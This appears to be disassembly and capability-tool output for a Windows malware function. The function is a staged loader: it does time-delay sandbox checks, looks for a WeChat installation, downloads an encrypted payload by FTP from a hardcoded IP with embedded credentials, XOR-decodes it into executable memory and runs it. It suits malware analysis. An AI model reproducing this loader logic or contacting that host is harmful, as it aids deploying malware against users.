Function at 0x4014e0
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Check if file exists
Connect to http server
Create http request
Execute shellcode via indirect call
Query or enumerate registry value
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.D:data.dat
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov word [ebp - 0x1a0], ax
mov dword [ebp - 0x19e], eax
mov dword [ebp - 0x19a], eax
mov dword [ebp - 0x196], eax
mov word [ebp - 0x192], ax
call esi
lea ecx, [ebp - 0x184]
push ecx
mov edi, eax
call fcn.00401000
add esp, 4
test eax, eax
jne 0x40158c
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401550
lea edx, [ebp - 0x184]
push edx
call fcn.00401270
add esp, 4
test eax, eax
jne 0x40158c
call esi
sub eax, edi
cmp eax, 0x7530
ja 0x4018f1
push 0xbb8
call ebx
lea eax, [ebp - 0x184]
push eax
call fcn.00401000
add esp, 4
test eax, eax
je 0x401550
mov edx, 3
mov word [ebp - 0x19e], dx
mov eax, 0x13
mov ecx, 0x7e8
lea edx, [ebp - 0x18c]
mov word [ebp - 0x19a], ax
mov word [ebp - 0x1a0], cx
push edx
lea eax, [ebp - 0x1a0]
mov ecx, 0x10
push eax
mov word [ebp - 0x198], cx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x4018f1
lea ecx, [ebp - 0x18c]
push ecx
lea edx, [ebp - 0x184]
push edx
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
cmp eax, 0xffffffff
jne 0x4018f1
lea eax, [ebp - 0x17c]
push eax
push 0xf003f
xor esi, esi
push esi
push str.SOFTWARETencentWeChat
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4018f1
mov eax, dword [ebp - 0x17c]
lea ecx, [ebp - 0x188]
push ecx
lea edx, [ebp - 0x110]
push edx
push esi
push esi
push str.InstallPath
push eax
mov dword [ebp - 0x188], 0xff
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4018f1
lea eax, [ebp - 0x110]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401657
mov ecx, dword [str.WeChat.exe]
mov edx, dword [0x4031c0]
mov dword [eax], ecx
mov ecx, dword [0x4031c4]
mov dword [eax + 4], edx
lea edx, [ebp - 0x110]
push edx
mov dword [eax + 8], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4018f1
mov eax, dword [ebp - 0x17c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [0x4031b4]
mov ecx, dword [str.sl_30005]
mov al, byte [0x4031b8]
mov dword [ebp - 0xc], edx
mov edx, dword [0x4031a8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [str.38.47.239.5]
mov byte [ebp - 8], al
mov eax, dword [0x4031ac]
mov dword [ebp - 0x170], edx
movzx edx, byte [0x4031a0]
push esi
mov dword [ebp - 0x174], ecx
mov ecx, dword [str.safe]
mov dword [ebp - 0x16c], eax
mov eax, dword [str.123abc]
mov byte [ebp - 0x150], dl
movzx edx, byte [0x40319a]
push esi
mov dword [ebp - 0x154], ecx
mov cx, word [0x403198]
mov dword [ebp - 0x144], eax
mov eax, dword [str.win.dat_30005]
push esi
mov word [ebp - 0x140], cx
mov ecx, dword [0x403188]
mov byte [ebp - 0x13e], dl
mov edx, dword [0x40318c]
mov dword [ebp - 0x130], eax
mov ax, word [0x403190]
push esi
push str.WinInet_Ftp
mov dword [ebp - 0x178], esi
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x128], edx
mov word [ebp - 0x124], ax
mov dword [ebp - 0x134], 1
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
push 0x8000000
push 1
lea ecx, [ebp - 0x144]
push ecx
lea edx, [ebp - 0x154]
push edx
mov edi, eax
push esi
lea eax, [ebp - 0x174]
push eax
push edi
mov dword [ebp - 0x17c], edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
mov dword [ebp - 0x180], ebx
test ebx, ebx
jne 0x4017ab
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x4018f1
push 0
push closesocket
push closesocket
lea ecx, [ebp - 0x10]
push ecx
push ebx
call dword [sym.imp.WININET.dll_FtpOpenFileA]
mov edi, eax
test edi, edi
jne 0x4017df
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
mov edx, dword [ebp - 0x17c]
push edx
call esi
jmp 0x4018f1
push 0
push edi
call dword [sym.imp.WININET.dll_FtpGetFileSize]
push eax
mov dword [ebp - 0x190], eax
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
push 0x1000
mov dword [ebp - 0x188], eax
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 8
mov ebx, eax
lea esp, [esp]
lea eax, [ebp - 0x178]
push eax
push 0x1000
push ebx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401850
mov ecx, dword [ebp - 0x178]
mov edx, dword [ebp - 0x188]
push ecx
lea eax, [esi + edx]
push ebx
push eax
call sub.MSVCR90.dll_memcpy
add esi, dword [ebp - 0x178]
add esp, 0xc
cmp dword [ebp - 0x190], esi
ja 0x401810
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
mov ecx, dword [ebp - 0x180]
push ecx
call esi
mov edx, dword [ebp - 0x17c]
push edx
call esi
mov ebx, dword [ebp - 0x190]
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x180], esi
test esi, esi
je 0x4018f1
xor ecx, ecx
test ebx, ebx
jbe 0x4018e4
mov edi, dword [ebp - 0x188]
sub edi, esi
jmp 0x4018a0
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea edx, [edx + edx*2]
mov eax, ecx
sub eax, edx
jne 0x4018bd
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, 0x57
jmp 0x4018dd
cmp eax, 1
jne 0x4018cd
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, 0x77
jmp 0x4018dd
cmp eax, 2
jne 0x4018df
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, cl
xor dl, 0x36
mov byte [eax], dl
inc ecx
cmp ecx, ebx
jb 0x4018a0
lea eax, [ebp - 0x174]
push eax
call dword [ebp - 0x180]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00401950
mov esp, ebp
pop ebp
ret 0x10